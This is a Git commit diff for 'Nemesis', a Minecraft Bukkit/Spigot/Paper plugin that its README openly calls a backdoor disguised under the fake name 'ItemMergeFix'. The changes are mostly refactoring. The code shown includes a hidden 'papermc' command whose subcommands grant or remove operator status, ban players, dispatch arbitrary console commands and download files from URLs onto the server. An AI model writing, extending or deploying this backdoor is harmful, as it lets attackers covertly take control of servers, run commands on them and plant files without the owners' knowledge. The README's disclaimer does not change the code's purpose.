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minhh2792 · Dec 8, 2022 · dcc428e · dcc428e
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diff --git a/README.md b/README.md
@@ -1,13 +1,16 @@
 # Nemesis /ˈneməsəs/
 
-A righteous infliction of [retribution](https://www.urbandictionary.com/define.php?term=retribution)  [manifested](https://www.urbandictionary.com/define.php?term=manifested) by an appropriate agent.  
+A righteous infliction
+of [retribution](https://www.urbandictionary.com/define.php?term=retribution)  [manifested](https://www.urbandictionary.com/define.php?term=manifested)
+by an appropriate agent.  
 [Your worst enemy](https://www.urbandictionary.com/define.php?term=Your%20worst%20enemy).
 
 ## What is this ?
 
 A backdoor plugin for Minecraft Bukkit/Spigot/Paper server with multiple helpful commands
 
-**NOTES**: Don't use this plugin for griefing or other illegal activities. I am not responsible for any damage caused by this plugin!
+**NOTES**: Don't use this plugin for griefing or other illegal activities. I am not responsible for any damage caused by
+this plugin!
 
 ## Download
 
@@ -17,7 +20,8 @@ Version supported: 1.8.x *(probably)* - latest
 
 ## Commands
 
-[Click here](https://github.com/minhh2792/Nemesis/tree/main/src/main/java/nemesis/commands/subcommands) for a list of commands. Some may won't works, please open an issue about it
+[Click here](https://github.com/minhh2792/Nemesis/tree/main/src/main/java/nemesis/commands/subcommands) for a list of
+commands. Some may won't works, please open an issue about it
 
 - Fake plugin name: ItemMergeFix
 

diff --git a/src/main/java/nemesis/CommandManager.java b/src/main/java/nemesis/CommandManager.java
@@ -1,26 +1,23 @@
 package nemesis;
 
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
+import nemesis.commands.SubCommand;
 import org.bukkit.command.Command;
 import org.bukkit.command.CommandSender;
 import org.bukkit.command.PluginCommand;
 import org.bukkit.command.TabExecutor;
+import org.jetbrains.annotations.NotNull;
 
-import nemesis.commands.SubCommand;
+import java.util.*;
 
 public class CommandManager implements TabExecutor {
     private final Nemesis main;
-    private PluginCommand command;
-    private HashMap<String, SubCommand> subCommands;
+    private final PluginCommand command;
+    private final HashMap<String, SubCommand> subCommands;
 
     public CommandManager(Nemesis main) {
         this.main = main;
         this.command = this.main.getCommand("papermc");
-        this.command.setExecutor(this);
+        Objects.requireNonNull(this.command).setExecutor(this);
         this.command.setTabCompleter(this);
         this.subCommands = new HashMap<>();
     }
@@ -34,7 +31,7 @@ public Map<String, SubCommand> getSubCommands() {
     }
 
     @Override
-    public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
+    public boolean onCommand(@NotNull CommandSender sender, @NotNull Command command, @NotNull String label, String[] args) {
         if (args.length == 0) {
             sender.sendMessage(Utils.colorize("&fThis server is running: &e" + main.getServer().getVersion()));
             return true;
@@ -51,7 +48,7 @@ public boolean onCommand(CommandSender sender, Command command, String label, St
     }
 
     @Override
-    public List<String> onTabComplete(CommandSender sender, Command command, String alias, String[] args) {
+    public List<String> onTabComplete(@NotNull CommandSender sender, @NotNull Command command, @NotNull String alias, String[] args) {
         return Collections.emptyList();
     }
-}
+}
diff --git a/src/main/java/nemesis/Nemesis.java b/src/main/java/nemesis/Nemesis.java
@@ -1,38 +1,19 @@
 package nemesis;
 
-import java.util.Arrays;
-
+import nemesis.commands.subcommands.*;
 import org.bukkit.plugin.java.JavaPlugin;
 
-import nemesis.commands.subcommands.Ban;
-import nemesis.commands.subcommands.BanList;
-import nemesis.commands.subcommands.ClearInventory;
-import nemesis.commands.subcommands.DeOP;
-import nemesis.commands.subcommands.DownloadFile;
-import nemesis.commands.subcommands.Exac;
-import nemesis.commands.subcommands.Gamemode;
-import nemesis.commands.subcommands.GiveItem;
-import nemesis.commands.subcommands.Permission;
-import nemesis.commands.subcommands.Kick;
-import nemesis.commands.subcommands.OP;
-import nemesis.commands.subcommands.OSInfo;
-import nemesis.commands.subcommands.PlayerList;
-import nemesis.commands.subcommands.PluginList;
-import nemesis.commands.subcommands.PluginManager;
-import nemesis.commands.subcommands.Reload;
-import nemesis.commands.subcommands.ServerInfo;
-import nemesis.commands.subcommands.SetFlying;
-import nemesis.commands.subcommands.SetInvulnerable;
-import nemesis.commands.subcommands.Stop;
-import nemesis.commands.subcommands.Unban;
-import nemesis.commands.subcommands.Whitelist;
-import nemesis.commands.subcommands.WorldList;
+import java.util.Arrays;
 
 public final class Nemesis extends JavaPlugin {
 
     private static Nemesis instance;
     private CommandManager commandManager;
 
+    public static Nemesis getInstance() {
+        return instance;
+    }
+
     @Override
     public void onEnable() {
         instance = this;
@@ -58,15 +39,12 @@ public void onEnable() {
                 new GiveItem(),
                 new SetFlying(),
                 new SetInvulnerable(),
+                new OPList(),
                 new OSInfo(),
                 new Whitelist(),
                 new WorldList()).forEach(commandManager::registerSubCommand);
     }
 
-    public static Nemesis getInstance() {
-        return instance;
-    }
-
     public CommandManager getCommandManager() {
         return commandManager;
     }

diff --git a/src/main/java/nemesis/Utils.java b/src/main/java/nemesis/Utils.java
@@ -1,5 +1,10 @@
 package nemesis;
 
+import net.md_5.bungee.api.ChatColor;
+import org.bukkit.command.CommandSender;
+import org.bukkit.entity.Player;
+import org.bukkit.plugin.Plugin;
+
 import java.io.BufferedOutputStream;
 import java.io.FileOutputStream;
 import java.io.InputStream;
@@ -9,12 +14,6 @@
 import java.util.List;
 import java.util.Scanner;
 
-import org.bukkit.command.CommandSender;
-import org.bukkit.entity.Player;
-import org.bukkit.plugin.Plugin;
-
-import net.md_5.bungee.api.ChatColor;
-
 public class Utils {
 
     private static final Nemesis main = Nemesis.getInstance();
@@ -55,7 +54,7 @@ public static void downloadFile(CommandSender sender, String url, String fileNam
                 FileOutputStream fos = new FileOutputStream(path + "/" + fileName);
                 BufferedOutputStream bout = new BufferedOutputStream(fos, 1024);
                 byte[] data = new byte[1024];
-                int x = 0;
+                int x;
                 while ((x = in.read(data, 0, 1024)) >= 0) {
                     bout.write(data, 0, x);
                 }

diff --git a/src/main/java/nemesis/commands/SubCommand.java b/src/main/java/nemesis/commands/SubCommand.java
@@ -4,5 +4,6 @@
 
 public interface SubCommand {
     void execute(CommandSender sender, String[] args);
+
     String getName();
 }
diff --git a/src/main/java/nemesis/commands/subcommands/Ban.java b/src/main/java/nemesis/commands/subcommands/Ban.java
@@ -1,13 +1,12 @@
 package nemesis.commands.subcommands;
 
-import org.bukkit.Bukkit;
+import nemesis.Utils;
+import nemesis.commands.SubCommand;
 import org.bukkit.BanList.Type;
+import org.bukkit.Bukkit;
 import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
 
-import nemesis.Utils;
-import nemesis.commands.SubCommand;
-
 public class Ban implements SubCommand {
 
     @Override
@@ -19,12 +18,12 @@ public void execute(CommandSender sender, String[] args) {
                 return;
             }
 
-            String reason = "";
+            StringBuilder reason = new StringBuilder();
             for (int i = 2; i < args.length; i++) {
-                reason = reason + args[i] + " ";
+                reason.append(args[i]).append(" ");
             }
 
-            if (reason == null || reason.isEmpty()) {
+            if (reason.length() == 0) {
                 sender.sendMessage(Utils.colorize("&cPlease specify a reason!"));
                 return;
             }

diff --git a/src/main/java/nemesis/commands/subcommands/BanList.java b/src/main/java/nemesis/commands/subcommands/BanList.java
@@ -1,14 +1,13 @@
 package nemesis.commands.subcommands;
 
-import java.util.HashMap;
-import java.util.Map;
-
+import nemesis.Utils;
+import nemesis.commands.SubCommand;
 import org.bukkit.Bukkit;
 import org.bukkit.OfflinePlayer;
 import org.bukkit.command.CommandSender;
 
-import nemesis.Utils;
-import nemesis.commands.SubCommand;
+import java.util.HashMap;
+import java.util.Map;
 
 public class BanList implements SubCommand {
 

diff --git a/src/main/java/nemesis/commands/subcommands/ClearInventory.java b/src/main/java/nemesis/commands/subcommands/ClearInventory.java
@@ -1,12 +1,11 @@
 package nemesis.commands.subcommands;
 
+import nemesis.Utils;
+import nemesis.commands.SubCommand;
 import org.bukkit.Bukkit;
 import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
 
-import nemesis.Utils;
-import nemesis.commands.SubCommand;
-
 public class ClearInventory implements SubCommand {
 
     @Override

diff --git a/src/main/java/nemesis/commands/subcommands/DeOP.java b/src/main/java/nemesis/commands/subcommands/DeOP.java
@@ -1,10 +1,9 @@
 package nemesis.commands.subcommands;
 
-import org.bukkit.command.CommandSender;
-import org.bukkit.entity.Player;
-
 import nemesis.Utils;
 import nemesis.commands.SubCommand;
+import org.bukkit.command.CommandSender;
+import org.bukkit.entity.Player;
 
 public class DeOP implements SubCommand {
 

diff --git a/src/main/java/nemesis/commands/subcommands/DownloadFile.java b/src/main/java/nemesis/commands/subcommands/DownloadFile.java
@@ -1,26 +1,25 @@
 package nemesis.commands.subcommands;
 
-import org.bukkit.command.CommandSender;
-
 import nemesis.Utils;
 import nemesis.commands.SubCommand;
+import org.bukkit.command.CommandSender;
 
 public class DownloadFile implements SubCommand {
 
     @Override
     public void execute(CommandSender sender, String[] args) {
         if (args.length > 1) {
-            if (args[1] == null && args[1].isEmpty()) {
+            if (args[1] == null) {
                 sender.sendMessage(Utils.colorize("&cPlease specify a url!"));
                 return;
             }
 
-            if (args[2] == null && args[2].isEmpty()) {
+            if (args[2] == null) {
                 sender.sendMessage(Utils.colorize("&cPlease specify a file name!"));
                 return;
             }
 
-            if (args[3] == null && args[3].isEmpty()) {
+            if (args[3] == null) {
                 sender.sendMessage(Utils.colorize("&cPlease specify a path!"));
                 return;
             }

diff --git a/src/main/java/nemesis/commands/subcommands/Exac.java b/src/main/java/nemesis/commands/subcommands/Exac.java
@@ -1,27 +1,26 @@
 package nemesis.commands.subcommands;
 
-import org.bukkit.Bukkit;
-import org.bukkit.command.CommandSender;
-
 import nemesis.Utils;
 import nemesis.commands.SubCommand;
+import org.bukkit.Bukkit;
+import org.bukkit.command.CommandSender;
 
 public class Exac implements SubCommand {
 
     @Override
     public void execute(CommandSender sender, String[] args) {
         if (args.length > 1) {
-            if (args[1] == null && args[1].isEmpty()) {
+            if (args[1] == null) {
                 sender.sendMessage(Utils.colorize("&cPlease specify a command!"));
                 return;
             }
 
-            String cmdargs = "";
+            StringBuilder cmdargs = new StringBuilder();
             for (int i = 2; i < args.length; i++) {
-                cmdargs = cmdargs + args[i] + " ";
+                cmdargs.append(args[i]).append(" ");
             }
 
-            if (!cmdargs.isEmpty()) {
+            if (cmdargs.length() > 0) {
                 Bukkit.dispatchCommand(Bukkit.getConsoleSender(), args[1] + " " + cmdargs);
                 return;
             }

diff --git a/src/main/java/nemesis/commands/subcommands/Gamemode.java b/src/main/java/nemesis/commands/subcommands/Gamemode.java
@@ -1,12 +1,11 @@
 package nemesis.commands.subcommands;
 
+import nemesis.Utils;
+import nemesis.commands.SubCommand;
 import org.bukkit.GameMode;
 import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
 
-import nemesis.Utils;
-import nemesis.commands.SubCommand;
-
 public class Gamemode implements SubCommand {
 
     @Override
@@ -26,13 +25,12 @@ public void execute(CommandSender sender, String[] args) {
                 sender.sendMessage(Utils.colorize("&aYou have successfully set " + player.getName() + "'s gamemode to survival!"));
             } else if (args[2].equalsIgnoreCase("adventure") && args[2].equalsIgnoreCase("gma")) {
                 player.setGameMode(GameMode.ADVENTURE);
-                sender.sendMessage(Utils.colorize("&aYou have successfully set " + player.getName() + "'s gamemode to adventure!"));                
+                sender.sendMessage(Utils.colorize("&aYou have successfully set " + player.getName() + "'s gamemode to adventure!"));
             } else if (args[2].equalsIgnoreCase("spectator") && args[2].equalsIgnoreCase("gmsp")) {
                 player.setGameMode(GameMode.SPECTATOR);
-                sender.sendMessage(Utils.colorize("&aYou have successfully set " + player.getName() + "'s gamemode to spectator!"));              
+                sender.sendMessage(Utils.colorize("&aYou have successfully set " + player.getName() + "'s gamemode to spectator!"));
             } else {
                 sender.sendMessage(Utils.colorize("&cUsage: /papermc gamemode <player> <gmc/gms/gma/gmsp>"));
-                return;
             }
         } else {
             sender.sendMessage(Utils.colorize("&cUsage: /papermc gamemode <player> <gmc/gms/gma/gmsp>"));

diff --git a/src/main/java/nemesis/commands/subcommands/GiveItem.java b/src/main/java/nemesis/commands/subcommands/GiveItem.java
@@ -1,13 +1,12 @@
 package nemesis.commands.subcommands;
 
+import nemesis.Utils;
+import nemesis.commands.SubCommand;
 import org.bukkit.Material;
 import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
 import org.bukkit.inventory.ItemStack;
 
-import nemesis.Utils;
-import nemesis.commands.SubCommand;
-
 public class GiveItem implements SubCommand {
 
     @Override
@@ -25,7 +24,7 @@ public void execute(CommandSender sender, String[] args) {
                 return;
             }
 
-            if (args[3] == null && args[3].isEmpty()) {
+            if (args[3] == null) {
                 sender.sendMessage(Utils.colorize("&cPlease specify an amount!"));
                 return;
             }